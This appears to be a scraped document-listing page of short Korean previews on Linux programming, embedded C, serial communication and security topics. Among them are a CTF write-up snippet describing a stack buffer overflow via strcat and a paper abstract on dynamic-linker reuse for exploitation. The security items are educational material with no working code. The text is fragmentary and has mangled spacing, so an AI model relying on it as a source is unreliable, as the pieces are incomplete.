<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly

More information

BOF Foundation.doc

BOF Foundation.doc 해커지망자들이알아야할 Buffer Overflow Attack 의기초 What every applicant for the hacker should know about the foundation of buffer overflow attacks By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com 2005 년 9월 5일

More information

Microsoft PowerPoint - 10_Process

Microsoft PowerPoint - 10_Process Linux 프로세스프로그래밍 Programming - 프로세스생성 : fork, exec - 프로세스동기화 : wait - 프로세스관리함수 프로세스관련함수 프로세스생성과종료 함수 의미 fork 자신과완전히동일한프로세스를생성한다. exec 계열지정한실행파일로부터프로세스를생성한다. exit 종료에따른상태값을부모프로세스에게전달하며프로세스를종료한다. atexit exit

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

Microsoft PowerPoint - a9.ppt [호환 모드]

Microsoft PowerPoint - a9.ppt [호환 모드] 9.1 이장의내용 9 장. 스트링과배열 스트링프리미티브명령어 2 차원배열 정수배열검색및정렬 컴퓨터정보통신 어셈블리언어 2 9.2 스트링프리미티브명령어 String Primitive Instructions 의동작 String Primitive Instructions Instructions 설명 동작 MOVS(B,W,D) Move string data M[EDI]

More information